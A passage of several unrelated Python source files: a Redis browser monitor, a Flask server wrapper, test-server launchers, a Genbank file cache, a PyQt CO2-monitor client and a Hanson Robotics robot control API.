if self.redis_db.type(key) != "string": continue val = self.parse_val(key) if val is None: continue keyvals.append((key, val)) if not keyvals: continue ws_server.lock.acquire() for client in ws_server.clients: client.send(ws_server.encode_message(keyvals)) ws_server.lock.release() else: # Create thread to send messages to client with refresh rate messenger_thread = threading.Thread(target=self.messenger, args=(ws_server,)) messenger_thread.daemon = True messenger_thread.start() # Listen for redis notifications for msg in self.pubsub.listen(): if msg["pattern"] is None: continue key = msg["data"] val = self.parse_val(key) if val is None: continue self.lock.acquire() self.message_buffer.append((key, val)) self.lock.release() def initialize_client(self, ws_server, client): """ On first connection, send client all Redis keys. """ keyvals = [] self.message_last = {} for key in sorted(self.redis_db.scan_iter()): if self.redis_db.type(key) != "string": continue val = self.parse_val(key, skip_unchanged=False) if val is None: continue keyvals.append((key, val)) client.send(ws_server.encode_message(keyvals)) def handle_get_request(request_handler, get_vars, **kwargs): """ HTTPRequestHandler callback: Serve content inside WEB_DIRECTORY """ WEB_DIRECTORY = "web" path_tokens = [token for token in request_handler.path.split("/") if token] # Default to index.html if not path_tokens or ".." in path_tokens: request_path = "index.html" else: request_path = os.path.join(*path_tokens) request_path = os.path.join(WEB_DIRECTORY, request_path) # Check if file exists if not os.path.isfile(request_path): request_handler.send_error(404, "File not found.") return # Insert ws_port into redis-web-gui.js if request_path == os.path.join(WEB_DIRECTORY, "js", "redis-web-gui.js"): with open(request_path) as f: html = f.read() % {"ws_port": kwargs["ws_port"]} request_handler.wfile.write(html.encode("utf-8")) return # Otherwise send file directly with open(request_path, "rb") as f: shutil.copyfileobj(f, request_handler.wfile) def handle_post_request(request_handler, post_vars, **kwargs): """ HTTPRequestHandler callback: Set POST variables as Redis keys """ for key, val_str in post_vars.items(): val_json = json.loads(val_str[0]) if type(val_json) in (str, unicode): val = val_json else: val = "; ".join(" ".join(row) for row in val_json) print("%s: %s" % (key, val)) kwargs["redis_db"].set(key, val) if __name__ == "__main__": # Parse arguments parser = ArgumentParser(description=( "Monitor Redis keys in the browser." )) parser.add_argument("-hp", "--http_port", help="HTTP Port (default: 8000)", default=8000, type=int) parser.add_argument("-wp", "--ws_port", help="WebSocket port (default: 8001)", default=8001, type=int) parser.add_argument("-rh", "--redis_host", help="Redis hostname (default: localhost)", default="localhost") parser.add_argument("-rp", "--redis_port", help="Redis port (default: 6379)", default=6379, type=int) parser.add_argument("-rd", "--redis_db", help="Redis database number (default: 0)", default=0, type=int) parser.add_argument("-r", "--refresh_rate", help="Redis refresh rate in seconds (default: 0.5)", default=0.5, type=float) parser.add_argument("--realtime", action="store_true", help="Subscribe to realtime Redis SET pubsub notifications") args = parser.parse_args() # Create RedisMonitor, HTTPServer, and WebSocketServer print("Starting up server...\n") redis_monitor = RedisMonitor(host=args.redis_host, port=args.redis_port, db=args.redis_db, refresh_rate=args.refresh_rate, realtime=args.realtime) print("Connected to Redis database at %s:%d (db %d)" % (args.redis_host, args.redis_port, args.redis_db)) get_post_args = {"ws_port": args.ws_port, "redis_db": redis_monitor.redis_db} http_server = HTTPServer(("", args.http_port), makeHTTPRequestHandler(handle_get_request, handle_post_request, get_post_args)) ws_server = WebSocketServer(port=args.ws_port) # Start HTTPServer http_server_process = Process(target=http_server.serve_forever) http_server_process.start() print("Started HTTP server on port %d" % (args.http_port)) # Start WebSocketServer ws_server_thread = threading.Thread(target=ws_server.serve_forever, args=(redis_monitor.initialize_client,)) ws_server_thread.daemon = True ws_server_thread.start() print("Started WebSocket server on port %d\n" % (args.ws_port)) # Start RedisMonitor print("Server ready. Listening for incoming connections.\n") redis_monitor.run_forever(ws_server) http_server_process.join()
server.py
import threading from flask import Flask from logbook import debug from flasgger import Swagger try: from urlparse import urlparse except ImportError: # pragma: no cover from urllib.parse import urlparse # pragma: no cover class ButlerServer(object): """ButlerServer implements Butler functions in Flask application. ButlerServer create relevant routes and serve the application, following ButlerFunctions rules """ def __init__(self, butler, url, *args, **kwargs): """Init all parameters. :param butler: Butler instance with the required functionality :param url: The URL to bind to the server """ # create Flask application self._app = Flask(__name__) # register functions to app routes self.butler = butler(*args, **kwargs) self.functions = self.butler.functions if self.butler.has_swagger_file: Swagger(self._app) self._register_urls() # readurl params parsed_url = urlparse(url) if not parsed_url.scheme: # urlparse cannot get post or hostname without scheme parsed_url = urlparse('http://{}'.format(url)) self.host = parsed_url.hostname or '127.0.0.1' self.port = self._get_port_from_url(parsed_url) self.args = [] self.kwargs = {} self.butler._init_server(*args, **kwargs) # pylint: disable=protected-access @staticmethod def _get_port_from_url(parsed_url): if parsed_url.port: return parsed_url.port if parsed_url.scheme == 'https': return 443 return 80 def _register_urls(self): """Read class functions and register the matching routes.""" for function in self.functions: for url in function.get_urls(): debug('Adding view {}, url {}'.format(function.name, url)) self._app.add_url_rule(url, methods=[function.method], view_func=function.obj) def run(self, *args, **kwargs): """Start flask application, get all paramters as Flask.run method.""" self._update_app_paramters(*args, **kwargs) self._app.run(host=self.host, port=self.port, *self.args, **self.kwargs) def run_async(self, *args, **kwargs): """Same as run, but async.""" self.thread = threading.Thread(target=self.run, args=args, kwargs=kwargs) self.thread.daemon = True self.thread.start() def _update_app_paramters(self, *args, **kwargs): """Parse `run` function parameters and updates `host` and `port` properties.""" args = list(args) # args is tuple, which is immutable try: self.host = args.pop(0) self.port = args.pop(0) except IndexError: pass if 'host' in kwargs: self.host = kwargs.pop('host') if 'port' in kwargs: self.port = kwargs.pop('port') # update old args and kwargs self.args = args + self.args[len(args):] self.kwargs.update(kwargs)
backgroundTestServers.py
import os import time import platform import threading import multiprocessing # sys.path.append(rootPath) from rtCommon.structDict import StructDict from rtCommon.scannerDataService import ScannerDataService from rtCommon.subjectService import SubjectService from rtCommon.exampleService import ExampleService from rtCommon.projectServer import ProjectServer testDir = os.path.dirname(__file__) tmpDir = os.path.join(testDir, 'tmp/') defaultAllowedDirs = [testDir, tmpDir] defaultAllowedFileTypes = ['*.dcm', '*.txt', '*.bin'] def runProjectServer(args, isStartedEvent): projectServer = ProjectServer(args) projThread = threading.Thread(name='mainThread', target=projectServer.start) projThread.start() while projectServer.started is False: time.sleep(.1) isStartedEvent.set() def runDataService(args, isStartedEvent): dataServer = ScannerDataService(args) dataThread = threading.Thread( name='dataThread', target=dataServer.wsRemoteService.runForever ) dataThread.start() while dataServer.wsRemoteService.started is False: time.sleep(.1) isStartedEvent.set() def runSubjectService(args, isStartedEvent): subjectService = SubjectService(args) subjThread = threading.Thread( name='subjThread', target=subjectService.wsRemoteService.runForever ) subjThread.start() while subjectService.wsRemoteService.started is False: time.sleep(.1) isStartedEvent.set() def runExampleService(args, isStartedEvent): exampleServer = ExampleService(args) exampleThread = threading.Thread( name='exampleThread', target=exampleServer.wsRemoteService.runForever ) exampleThread.start() while exampleServer.wsRemoteService.started is False: time.sleep(.1) isStartedEvent.set() defaultCfg = StructDict({'sessionId': "test", 'subjectName': "test_sample", 'subjectNum': 1, 'subjectDay': 1, 'sessionNum': 1}) defaultProjectArgs = StructDict({'config': defaultCfg, 'mainScript': 'projects/sample/sample.py', 'port': 8921, 'test': True}) class BackgroundTestServers: def __init__(self): self.projectProc = None self.dataProc = None self.subjectProc = None self.exampleProc = None if platform.system() == "Darwin": try: multiprocessing.set_start_method('spawn') except Exception as err: print(f'multiprocess err: {err}') def startServers(self, allowedDirs=defaultAllowedDirs, allowedFileTypes=defaultAllowedFileTypes, dataRemote=True, subjectRemote=True, exampleRemote=False, projectArgs=defaultProjectArgs): if exampleRemote is True: # example remote uses the wsData websocket channel dataRemote = True projectArgs['dataRemote'] = dataRemote projectArgs['subjectRemote'] = subjectRemote # Start the projectServer running isRunningEvent = multiprocessing.Event() self.projectProc = multiprocessing.Process(target=runProjectServer, args=(projectArgs, isRunningEvent)) self.projectProc.start() isRunningEvent.wait() if dataRemote is True: # Start the dataService running args = StructDict({'server': 'localhost:8921', 'interval': 0.1, 'allowedDirs': allowedDirs, 'allowedFileTypes': allowedFileTypes, 'username': 'test', 'password': 'test', 'test': True, }) isRunningEvent = multiprocessing.Event() self.dataProc = multiprocessing.Process(target=runDataService, args=(args, isRunningEvent)) self.dataProc.start() isRunningEvent.wait() else: self.dataProc = None if subjectRemote is True: # Start the subjectService running args = StructDict({'server': 'localhost:8921', 'interval': 0.1, 'username': 'test', 'password': 'test', 'test': True, }) isRunningEvent = multiprocessing.Event() self.subjectProc = multiprocessing.Process(target=runSubjectService, args=(args, isRunningEvent)) self.subjectProc.start() isRunningEvent.wait() # time.sleep(5) else: self.subjectProc = None if exampleRemote is True: # Start the exampleService running args = StructDict({'server': 'localhost:8921', 'interval': 0.1, 'username': 'test', 'password': 'test', 'test': True, }) isRunningEvent = multiprocessing.Event() self.exampleProc = multiprocessing.Process(target=runExampleService, args=(args, isRunningEvent)) self.exampleProc.start() isRunningEvent.wait() # time.sleep(5) else: self.exampleProc = None return True def stopServers(self): if self.projectProc is not None: self.projectProc.kill() self.projectProc = None if self.dataProc is not None: self.dataProc.kill() self.dataProc = None if self.subjectProc is not None: self.subjectProc.kill() self.subjectProc = None if self.exampleProc is not None: self.exampleProc.kill() self.exampleProc = None
cache.py
import hashlib import logging import os import shutil import socket import tempfile import urllib from Queue import Queue, Full, Empty from stat import S_IFDIR, S_IFLNK, S_IFREG from StringIO import StringIO from threading import Lock, Thread, Event from time import time from urlparse import urlparse # Set download timeout socket.setdefaulttimeout(600) class DownloadError(Exception): pass class DownloadWithExceptions(urllib.FancyURLopener): def error(self, *args, **kwargs): raise DownloadError("There was a problem with your download") http_error_401 = error http_error_403 = error http_error_404 = error def retrieve_tempfile(self, url, temp_dir, *args, **kwargs): try: temp_file = tempfile.NamedTemporaryFile(mode='w', prefix=self._prefix_from_url(url), suffix='.tmp', dir=temp_dir, delete=True) except OSError: os.makedirs(temp_dir, 0755) temp_file = tempfile.NamedTemporaryFile(mode='w', prefix=self._prefix_from_url(url), suffix='.tmp', dir=temp_dir, delete=True) logging.info("Downloading %s to %s" % (url, temp_file.name)) (filename, status) = self.retrieve(url, temp_file.name) return (temp_file, status) def _prefix_from_url(self, url): url_path = urlparse(url).path prefix = url_path.split('/')[-1] return prefix + '_' def create_warning_file(root_dir, filename_prefix, message): message_digest = hashlib.md5(message).hexdigest() file_path = os.path.join(root_dir, 'tmp', "%s_%s.tmp" % (filename_prefix, message_digest)) if not os.path.isdir(os.path.join(root_dir, 'tmp')): os.makedirs(os.path.join(root_dir, 'tmp'), 0755) if not os.path.isfile(file_path): with open(file_path, 'w') as f: f.write(message) return os.path.abspath(file_path) download_queue_warning = """\ WARNING: You seem to be downloading a lot! To protect you from accidentally downloading all of the internet at once, we've implemented a queue system which means that you can only request up to %(max_downloads)s downloads at once. If you ask for more than this, the first %(max_downloads)s are downloaded and this message is temporarily returned. To get the files you want, simply wait a few minutes and retry by which time you should be able to get a few more of them. Apologies for the inconvenience """ download_timeout_warning = """\ WARNING: The download timed out We couldn't find this file in our cache so tried to download it. Unfortunately the download timed out. Please try again later """ download_error = """\ WARNING: There was a problem downloading this file Please try again later """ class GenbankCache(object): """Create a local cache of files from Genbank Use this to open files which are in Genbank. If there's an issue, it returns a file with an error message. It avoids downloading the same file multiple times and uses threading to control the number of concurent downloads. It also has a download queue to help save you if you accidentally make a request which would download all of Genbank at once""" def __init__(self, root_dir, lookup_func, max_queue=100, concurent_downloads=2): self.lookup = lookup_func self.max_queue = max_queue self.root_dir = os.path.realpath(root_dir) self.download_queue = Queue(maxsize=max_queue) self.rwlock = Lock() self.threads = [Thread(target=self._download_queued, args=(self.download_queue,)) for i in xrange(concurent_downloads)] for thread in self.threads: thread.daemon = True thread.start() self.warning_files = { 'queue': create_warning_file(self.root_dir, 'download_queue_warning', download_queue_warning % dict(max_downloads=self.max_queue)), 'timeout': create_warning_file(self.root_dir, 'download_timeout_warning', download_timeout_warning), 'error': create_warning_file(self.root_dir, 'download_error', download_error) } self.download_locks = {} def open(self, path, flags): """Returns a file number for a given path If the path is not in the cache, it uses a lookup function to find the Genbank URL and tries to download it. If another thread is already downloading the file, it waits patiently rather than also requesting the same file.""" cache_path = os.path.join(self.root_dir, path) self._check_in_root(cache_path) try: return os.open(cache_path, flags) except OSError: pass try: origin_path = self.lookup(path) except: raise IOError('%s not found and not available for download' % path) download_lock, download_complete_event = self.download_locks.setdefault(origin_path, (Lock(), Event())) if download_lock.acquire(False): download_fn = self.download(cache_path, origin_path, flags) download_complete_event.set() del self.download_locks[origin_path] download_lock.release() else: download_fn = self.wait_for_download(cache_path, flags, download_complete_event) return download_fn def getattr(self, path): cache_path = os.path.join(self.root_dir, path) self._check_in_root(cache_path) try: st = os.lstat(cache_path) return dict((key, getattr(st, key)) for key in ('st_atime', 'st_ctime', 'st_gid', 'st_mode', 'st_mtime', 'st_nlink', 'st_size', 'st_uid')) except OSError: return dict(st_mode=(S_IFREG | 0444), st_nlink=1, st_size=10**12, st_ctime=time(), st_mtime=time(), st_atime=time()) def read(self, size, offset, fh): with self.rwlock: os.lseek(fh, offset, 0) return os.read(fh, size) def wait_for_download(self, cache_path, flags, download_complete_event, timeout=600): """Waits for another thread to finish downloading a file Returns an error file if this takes too long""" logging.info("Awaiting download of %s" % cache_path) download_complete_event.wait(timeout=timeout) try: return os.open(cache_path, flags) except OSError: return os.open(self.warning_files['timeout'], flags) def download(self, cache_path, origin_path, flags, timeout=600): """Downloads a file from Genbank Downloads are queued for the download threads to deal with them. If the download takes too long, it returns a warning file but the file may still be downloaded in due course. If it looks like too many files have been queued for download at once, it returns a different error.""" result = Queue() try: logging.info("Adding %s to download queue of length %s" % (origin_path, self.download_queue.qsize())) self.download_queue.put_nowait((cache_path, origin_path, flags, result)) output_file = result.get(timeout=timeout) except Full: output_file = os.open(self.warning_files['queue'], flags) except Empty: ouput_file = os.open(self.warning_files['timeout'], flags) logging.info("Finished downloading %s; queue length is %s" % (origin_path, self.download_queue.qsize())) return output_file def _download_queued(self, queue): downloader = DownloadWithExceptions() download_staging_dir = os.path.join(self.root_dir, 'tmp') while True: cache_path, origin_path, flags, result = queue.get() # Double check it's not in the cache try: result.put(os.open(cache_path, flags)) except OSError: pass # File doesn't exist so we should get started downloading it else: continue # Someone else downloaded it since this was queued # Download the file to a temporary location try: urllib.urlcleanup() download_tempfile, status = downloader.retrieve_tempfile(origin_path, download_staging_dir) except (DownloadError, IOError): result.put(os.open(self.warning_files['error'], flags)) queue.task_done() del download_tempfile continue # If the download was ok, move it where we need it try: shutil.move(download_tempfile.name, cache_path) result_fn = os.open(cache_path, flags) except IOError: intended_dir = os.path.dirname(os.path.realpath(cache_path)) os.makedirs(intended_dir, mode=0755) shutil.move(download_tempfile.name, cache_path) result_fn = os.open(cache_path, flags) except: result_fn = os.open(self.warning_files['error'], flags) result.put(result_fn) queue.task_done() # Delete the tempfile (this should happen anyway) try: del download_tempfile except OSError: pass # If it was moved, this will fail but that's ok def _check_in_root(self, path): if not os.path.realpath(path).startswith(self.root_dir): raise IOError("Relative links in path would take us outside the root dir: %s not in %s" % (os.path.realpath(path), self.root_dir))
__init__.py
from time import time from socket import * from PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QVBoxLayout, QLabel, QGraphicsColorizeEffect, QHBoxLayout from PyQt5.QtGui import QColor, QFontDatabase, QIcon, QPalette, QBrush, QPixmap from PyQt5.QtCore import QTimer, Qt from functools import partial from threading import Thread from p2pl import Node import os """ Main UI program: includes detection for the CO2 Monitor to the person's selected device """ class UI: def __init__(self): self.node = Node(8888,6768,'Carbon-Client',protocol='CarbonDock') self.rt = Thread(target=self.refresh,name='Refresher') self.rt.start() self.app = QApplication(['CarbonDock']) self.app.setWindowIcon(QIcon('icon.png')) QFontDatabase.addApplicationFont('main.ttf') self.window = QWidget() self.window.setWindowTitle('CarbonDock') self.window.setGeometry(50,50,600,500) self.window.setStyleSheet(open(os.path.join(os.path.abspath(os.curdir),'client','style.qss'),'r').read()) self.layout = QVBoxLayout() self.titlebar = QWidget() self.titlebar.setStyleSheet('background-color: rgba(0,0,0,0);border-image: null;') self.titlelay = QHBoxLayout() label = QLabel() pixmap = QPixmap('icon.png').scaled(128,128) label.setPixmap(pixmap) label.setAlignment(Qt.AlignCenter) self.titlelay.addWidget(label) self.title = QLabel('CarbonDock') self.title.setStyleSheet('font: 20pt;') self.title.setAlignment(Qt.AlignCenter) self.titlelay.addWidget(self.title) self.titlebar.setLayout(self.titlelay) self.layout.addWidget(self.titlebar) self.modStats = QWidget() self.modStats.setStyleSheet('background-color: rgba(0,0,0,0);border-image: null;') self.modLayout = QVBoxLayout() self.modStats.setLayout(self.modLayout) self.stats = [] self.layout.addWidget(self.modStats) self.window.setLayout(self.layout) self.window.show() self.timer = QTimer() self.timer.setInterval(100) self.timer.setSingleShot(False) self.timer.timeout.connect(self.check_refresh) self.timer.start() self.app.exec_() def runButtonFunc(self,func): func() def check_refresh(self): for i in reversed(range(self.modLayout.count())): self.modLayout.itemAt(i).widget().setParent(None) for i in self.stats: main = QWidget() main.setStyleSheet('background-color: rgb('+','.join(map(str,i['color']))+')') mlayout = QVBoxLayout() statLab = QLabel(i['stat']) statLab.setStyleSheet('font: 15pt;') statLab.setAlignment(Qt.AlignCenter) mlayout.addWidget(statLab) nameLab = QLabel(i['name']) nameLab.setStyleSheet('font: 10pt;color:rgb(128,128,128);') nameLab.setAlignment(Qt.AlignCenter) mlayout.addWidget(nameLab) main.setLayout(mlayout) self.modLayout.addWidget(main) def refresh(self): while True: discovered = [] for n in self.node.targets.keys(): discovered.append([n,self.node.targets[n]]) stats = [] #for i in discovered: stat = self.node.request('192.168.137.156','status') cf = stat['danger_coeff'] if cf < 0: cf = 0 if cf > 1: cf = 1 col = (cf*255,((1-cf)*255)/1.2,0) stats.append({'color':col,'stat':stat['danger'],'name':'CarbonDock-192.168.137.156'}) self.stats = stats UI()
robot.py
# Copyright 2019 Hanson Robotics Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Author: James Diprose import json import sys import threading import time from enum import Enum, auto from typing import Callable import logbook import base64 from logbook import Logger, StreamHandler from hr_little_api.functional import * from hr_little_api.json_api import generate_id, activity_cmd, voltage_cmd from hr_little_api.transport import TcpTransport class Animation(Enum): """ Types of pre-made animations the robot can play """ right_arm_down = auto() right_arm_point = auto() head_down = auto() head_middle = auto() head_up = auto() head_turn_left = auto() head_turn_middle = auto() head_turn_right = auto() close_mouth = auto() open_mouth = auto() poke_tounge = auto() eye_lid_open = auto() eye_lid_close = auto() raise_eyebrows = auto() frown_eyebrows = auto() smile = auto() mouth_neutral = auto() mouth_frown = auto() reset = auto() go_crazy = auto() go_crazy2 = auto() go_crazy3 = auto() awkward = auto() cute1 = auto() cute2 = auto() sleep = auto() sleeping = auto() sleepy = auto() tell_a_joke = auto() wake_up = auto() worry = auto() class ActionHandle: """ Provides functionality for waiting until an action has completed, signaling when an action has completed and triggering and sending a callback when an action has finished. """ def __init__(self, timeout: float = None, log_level=logbook.INFO): """ ActionHandle constructor. :param timeout: the timeout in seconds for the action handle to wait before it considers the action has completed. This is for handling actions on the robot that don't support triggers. :param log_level: the level for displaying and logging information, e.g. debugging information. """ StreamHandler(sys.stdout).push_application() self._log = Logger('Robot') self._log.level = log_level self.id = generate_id() self.callbacks = [] self.timeout = timeout self.event_ = threading.Event() if self.timeout is not None: self.timer_ = threading.Timer(self.timeout, self.done) def add_callback(self, done_cb: Callable[[], None] = None) -> None: """ Add a callback function to the action handle, which will be triggered when the action has finished. :param done_cb: the function to call. :return: None. """ if done_cb is not None: self.callbacks.append(done_cb) def start_timer(self) -> None: """ Start the timer to trigger the completion of the action handle after a 'timeout', which is given in the constructor. Used when a robot action doesn't have a mechanism to notify when it has completed. :return: None. """ if self.timeout is not None: self.timer_.start() else: self._log.warn("ActionHandle.start_timer: the 'timeout' parameter of ActionHandle is not set, " "it needs to be set before starting the action handle in timer mode") def wait(self) -> None: """ Block and wait until the action has completed. :return: None. """ self.event_.wait() def done(self) -> None: """ Informs that action handle that the action has finished and calls the 'done_cb' function if it has been set. Called by self.timer_ or in the Robot._update_state method. :return: None. """ self.event_.set() for cb in self.callbacks: cb() class Robot: """ The Robot class enables you to connect to the robot, send actions and read data from the robot. :var version: the version of the robot's firmware. :var voltage: the voltage of the robot's batteries, between 0.0 and 1.0. :var is_connected: whether the robot has connected or not. """ __animation_map = {Animation.right_arm_down: right_arm_down, Animation.right_arm_point: right_arm_point, Animation.head_down: head_down, Animation.head_middle: head_middle, Animation.head_up: head_up, Animation.head_turn_left: head_turn_left, Animation.head_turn_middle: head_turn_middle, Animation.head_turn_right: head_turn_right, Animation.close_mouth: close_mouth, Animation.open_mouth: open_mouth, Animation.poke_tounge: poke_tounge, Animation.eye_lid_open: eye_lid_open, Animation.eye_lid_close: eye_lid_close, Animation.raise_eyebrows: raise_eyebrows, Animation.frown_eyebrows: frown_eyebrows, Animation.smile: smile, Animation.mouth_neutral: mouth_neutral, Animation.mouth_frown: mouth_frown, Animation.reset: reset_motors, Animation.go_crazy: go_crazy, Animation.go_crazy2: go_crazy2, Animation.go_crazy3: go_crazy3, Animation.awkward: awkward, Animation.cute1: cute1, Animation.cute2: cute2, Animation.sleep: sleep, Animation.sleeping: sleeping, Animation.sleepy: sleepy, Animation.tell_a_joke: tell_a_joke, Animation.wake_up: wake_up, Animation.worry: worry} def __init__(self, read_rate_hz: float = 0.05, log_level=logbook.INFO): """ The Robot constructor. :param read_rate_hz: the rate in Hz to read data from the robot. :param log_level: the level for displaying and logging information, e.g. debugging information. """ StreamHandler(sys.stdout).push_application() self.version: str = "" self.voltage: float = float("NaN") self.is_connected: bool = False self._log = Logger('Robot') self._log.level = log_level self._read_rate_hz = read_rate_hz self._keep_alive_secs = 9.0 self._read_commands = [voltage_cmd()] self._read_thread = threading.Thread(target=self._send_read_cmds) self._read_event = threading.Event() self._keep_alive_thread = threading.Thread(target=self._keep_alive) self._keep_alive_event = threading.Event() self._transport = TcpTransport(data_received_cb=self._data_received_cb, initial_cmd=activity_cmd(" "), log_level=log_level) self._action_handle_lock = threading.Lock() self._action_handles = {} self._is_action_active_lock = threading.Lock() self._is_action_active = False self._is_running = False self._last_cmd_time = 0 def connect(self) -> bool: """ Creates a network connection with the robot, i.e. a TCP socket stream. This method must be called before controlling the robot. :return: whether the connection was successful or not. """ self._log.info("Connecting to robot...") self.is_connected = self._transport.connect() if self.is_connected: self.animate(Animation.eye_lid_open) # the animation that plays right after Einstein connects gets stopped # just as he is closing his eyes self._is_running = True self._read_thread.start() time.sleep(1) self._last_cmd_time = time.time() self._keep_alive_thread.start() time.sleep(2) self._log.info("Connected.") return self.is_connected def disconnect(self) -> None: """ Close the network connection with the robot. This method must be called before the program finishes. :return: None. """ self._log.info("Disconnecting from robot...") self._is_running = False self._transport.close() self._read_event.set() if self._read_thread.is_alive(): self._read_thread.join() self._keep_alive_event.set() # Will cancel keep alive from sleeping if self._keep_alive_thread.is_alive(): self._keep_alive_thread.join() self._log.info("Disconnected.") def say(self, text: str, block: bool = True, done_cb: Callable[[], None] = None) -> ActionHandle: """ An action to make the robot speak. :param text: the text for the robot to speak. :param block: whether to block until the action has finished. :param done_cb: a callback to be triggered when the action has completed. :return: an action handle. """ self._set_action_start() builder = say(text) handle = ActionHandle() handle.add_callback(done_cb) handle.add_callback(self._set_action_done) self._add_action_handle(handle) cmd = activity_cmd(builder.build() + callback_end(handle.id).build()) # self._log.debug(cmd) self._transport.send(cmd) if block: self.wait(handle) return handle def walk_forward(self, steps: int = 1, block: bool = True, done_cb: Callable[[], None] = None) -> ActionHandle: """ An action to make the robot walk forward a given number of steps. :param steps: the number of steps to take. Must be between 1 and 10 steps. A step means both feet step forward once time each. :param block: whether to block until the action has finished. :param done_cb: a callback to be triggered when the action has completed. :return: an action handle. """ self._set_action_start() builder = walk_forward(steps=steps) handle = ActionHandle(timeout=builder.duration()) handle.add_callback(done_cb) handle.add_callback(self._set_action_done) cmd = activity_cmd(builder.build()) self._transport.send(cmd) handle.start_timer() if block: self.wait(handle) return handle def walk_backward(self, steps: int = 1, block: bool = True, done_cb: Callable[[], None] = None) -> ActionHandle: """ An action to make the robot walk backward a given number of steps. :param steps: the number of steps to take. Must be between 1 and 10 steps. A step means both feet step backward once time each. :param block: whether to block until the action has finished. :param done_cb: a callback to be triggered when the action has completed. :return: an action handle. """ self._set_action_start() builder = walk_backward(steps=steps) handle = ActionHandle(timeout=builder.duration()) handle.add_callback(done_cb) handle.add_callback(self._set_action_done) cmd = activity_cmd(builder.build()) self._transport.send(cmd) handle.start_timer() if block: self.wait(handle) return handle def walk_left(self, steps: int = 1, block: bool = True, done_cb: Callable[[], None] = None) -> ActionHandle: """ An action to make the robot walk left a given number of steps. :param steps: the number of steps to take. Must be between 1 and 10 steps. A step means the right foot takes a single step, making the robot walk left. :param block: whether to block until the action has finished. :param done_cb: a callback to be triggered when the action has completed. :return: an action handle. """ self._set_action_start() builder = walk_left(steps=steps) handle = ActionHandle(timeout=builder.duration()) handle.add_callback(done_cb) handle.add_callback(self._set_action_done) cmd = activity_cmd(builder.build()) self._transport.send(cmd) handle.start_timer() if block: self.wait(handle) return handle def walk_right(self, steps: int = 1, block: bool = True, done_cb: Callable[[], None] = None) -> ActionHandle: """ An action to make the robot walk right a given number of steps. :param steps: the number of steps to take. Must be between 1 and 10 steps. A step means the left foot takes a single step, making the robot walk right. :param block: whether to block until the action has finished. :param done_cb: a callback to be triggered when the action has completed. :return: an action handle. """ self._set_action_start() builder = walk_right(steps=steps) handle = ActionHandle(timeout=builder.duration()) handle.add_callback(done_cb) handle.add_callback(self._set_action_done) cmd = activity_cmd(builder.build()) self._transport.send(cmd) handle.start_timer() if block: self.wait(handle) return handle def animate(self, animation: Animation, block: bool = True, done_cb: Callable[[], None] = None) -> ActionHandle: """ An action to make the robot perform an animation. :param animation: the type of animation to perform. :param block: whether to block until the action has finished. :param done_cb: a callback to be triggered when the action has completed. :return: an action handle. """ self._set_action_start() builder = self.__animation_map[animation]() handle = ActionHandle() handle.add_callback(done_cb) handle.add_callback(self._set_action_done) self._add_action_handle(handle) # For the TE callback fire after motors, you *need a space* and then the <PA> command before <TE=...> # this forces the TE command to wait until after the robot has spoken the space. cmd = activity_cmd( builder.build() + " " + wait_for_motors_and_speaking().build() + callback_end(handle.id).build()) self._transport.send(cmd) if block: self.wait(handle) return handle def do(self, *commands, block: bool = True, done_cb: Callable[[], None] = None) -> ActionHandle: self._set_action_start() cmd_list = [cmd for cmd in commands] builder = command_list(*cmd_list) handle = ActionHandle() handle.add_callback(done_cb) handle.add_callback(self._set_action_done) self._add_action_handle(handle) # For the TE callback fire after motors, you *need a space* and then the <PA> command before <TE=...> # this forces the TE command to wait until after the robot has spoken the space. cmd = activity_cmd( builder.build() + " " + wait_for_motors_and_speaking().build() + callback_end(handle.id).build()) self._transport.send(cmd) if block: self.wait(handle) return handle def wait(self, *action_handles) -> None: """ Block until the given action handles have finished. :param action_handles: :return: None. """ for handle in action_handles: handle.wait() def __enter__(self): self.connect() return self def __exit__(self, type, value, traceback): self.disconnect() def _set_action_start(self): with self._is_action_active_lock: self._is_action_active = True def _set_action_done(self): with self._is_action_active_lock: self._last_cmd_time = time.time() self._is_action_active = False def _add_action_handle(self, handle: ActionHandle) -> None: with self._action_handle_lock: self._action_handles[handle.id] = (0, handle) def _set_action_handle_done(self, action_id: str) -> None: handle_to_finish = None with self._action_handle_lock: if action_id == 'all_actions': for action_id in self._action_handles: count, ah = self._action_handles[action_id] # Print all done ah.done() if action_id in self._action_handles: # These get triggered twice because the robot sends two triggers back # for some reason. We send the callback on the second trigger in case # it affects the behaviour. count, ah = self._action_handles[action_id] count += 1 if count > 1: self._action_handles.pop(action_id) handle_to_finish = ah else: self._action_handles[action_id] = (count, ah) else: self._log.warn( "Robot._set_action_handle_done: ActionHandle with action_id '{}' not found".format(action_id)) if handle_to_finish is not None: handle_to_finish.done() def _send_read_cmds(self): while self._is_running: for cmd in self._read_commands: self._transport.send(cmd) secs = 1. / self._read_rate_hz self._read_event.wait(timeout=secs) def _keep_alive(self): """ This function makes sure that the robot doesn't say or do it's automatic functions whilst we are using it, because it interferes with the programs we want to write. This function is called every 9 seconds and only sends a command to the robot if an action isn't currently running and the last command was sent 9 seconds ago. """ while self._is_running: secs_since_last_cmd = time.time() - self._last_cmd_time if not self._is_action_active and secs_since_last_cmd > self._keep_alive_secs: self._transport.send(activity_cmd(" ")) self._last_cmd_time = time.time() self._log.debug("Keeping alive") self._keep_alive_event.wait(timeout=self._keep_alive_secs) def _data_received_cb(self, msg): try: # Parse messages, there can be more than one json message returned in msg prev_index = 0 msg_len = len(msg) while prev_index < msg_len: start_index = prev_index + msg[prev_index:].find('{') sub_msg_len = int(msg[prev_index:start_index]) end_index = start_index + sub_msg_len sub_msg = msg[start_index:end_index] data = json.loads(sub_msg) # When each message has been parsed into json, update the robots state self._update_state(data) prev_index = end_index except ValueError as e: self._log.error("Error decoding json for message: {}. Error: {}".format(msg, e)) def _update_state(self, data): if "device" in data and self.version is '': self.version = data["device"]["version"] if "trigger" in data: trigger = data["trigger"] if trigger.startswith("voltage."): self.voltage = float(trigger.replace("voltage.", "")) / 10. elif trigger.startswith("cb."): self._log.debug("Trigger received: {}".format(trigger)) self._set_action_handle_done(trigger) else: self._log.debug("Unknown trigger: {}".format(trigger)) if data.get('cmd', False) == 'cmd.ble': b64data = data['data'] data = [b for b in base64.b64decode(b64data.encode('ascii'))] # Hack before triggers are fixed. Finished 